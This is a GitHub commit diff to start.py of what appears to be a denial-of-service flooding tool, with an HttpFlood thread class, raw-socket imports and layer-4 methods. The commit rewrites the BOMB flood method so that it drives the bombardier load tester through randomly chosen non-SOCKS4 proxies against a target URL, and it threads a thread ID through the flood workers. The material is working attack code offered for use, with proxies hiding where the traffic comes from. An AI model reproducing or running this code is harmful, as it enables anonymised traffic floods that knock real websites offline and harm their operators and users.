Update start.py

This commit is contained in:
PXEiYyMH8F 2022-03-18 21:58:35 +00:00 committed by GitHub
parent afa3889375
commit 80ae8a9831
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 30 additions and 16 deletions

View File

@ -16,7 +16,7 @@ from socket import (AF_INET, IP_HDRINCL, IPPROTO_IP, IPPROTO_TCP, IPPROTO_UDP, S
gethostname, socket) gethostname, socket)
from ssl import CERT_NONE, SSLContext, create_default_context from ssl import CERT_NONE, SSLContext, create_default_context
from struct import pack as data_pack from struct import pack as data_pack
from subprocess import run from subprocess import run, PIPE
from sys import argv from sys import argv
from sys import exit as _exit from sys import exit as _exit
from threading import Event, Thread from threading import Event, Thread
@ -500,6 +500,7 @@ class HttpFlood(Thread):
SENT_FLOOD: Any SENT_FLOOD: Any
def __init__(self, def __init__(self,
thread_id: int,
target: URL, target: URL,
host: str, host: str,
method: str = "GET", method: str = "GET",
@ -510,6 +511,7 @@ class HttpFlood(Thread):
proxies: Set[Proxy] = None) -> None: proxies: Set[Proxy] = None) -> None:
Thread.__init__(self, daemon=True) Thread.__init__(self, daemon=True)
self.SENT_FLOOD = None self.SENT_FLOOD = None
self._thread_id = thread_id
self._synevent = synevent self._synevent = synevent
self._rpc = rpc self._rpc = rpc
self._method = method self._method = method
@ -885,19 +887,31 @@ class HttpFlood(Thread):
Tools.safe_close(s) Tools.safe_close(s)
def BOMB(self): def BOMB(self):
pro = randchoice(self._proxies) assert self._proxies, \
'This method requires proxies. ' \
'Without proxies you can use github.com/codesenberg/bombardier'
run([ while True:
f'{bombardier_path}', proxy = randchoice(self._proxies)
f'--connections={self._rpc}', if proxy.type != ProxyType.SOCKS4:
'--http2', break
'--method=GET',
'--no-print', res = run(
'--timeout=5s', [
f'--requests={self._rpc}', f'{bombardier_path}',
f'--proxy={pro}', f'--connections={self._rpc}',
f'{self._target.human_repr()}', '--http2',
]) '--method=GET',
'--latencies',
'--timeout=30s',
f'--requests={self._rpc}',
f'--proxy={proxy}',
f'{self._target.human_repr()}',
],
stdout=PIPE,
)
if self._thread_id == 0:
print(proxy, res.stdout.decode(), sep='\n')
def SLOW(self): def SLOW(self):
payload: bytes = self.generate_payload() payload: bytes = self.generate_payload()
@ -1372,9 +1386,9 @@ if __name__ == '__main__':
"RPC (Request Pre Connection) is higher than 100") "RPC (Request Pre Connection) is higher than 100")
proxies = handleProxyList(con, proxy_li, proxy_ty, url) proxies = handleProxyList(con, proxy_li, proxy_ty, url)
for _ in range(threads): for thread_id in range(threads):
HttpFlood(url, host, method, rpc, event, uagents, HttpFlood(thread_id, url, host, method, rpc, event,
referers, proxies).start() uagents, referers, proxies).start()
if method in Methods.LAYER4_METHODS: if method in Methods.LAYER4_METHODS:
target = URL(urlraw) target = URL(urlraw)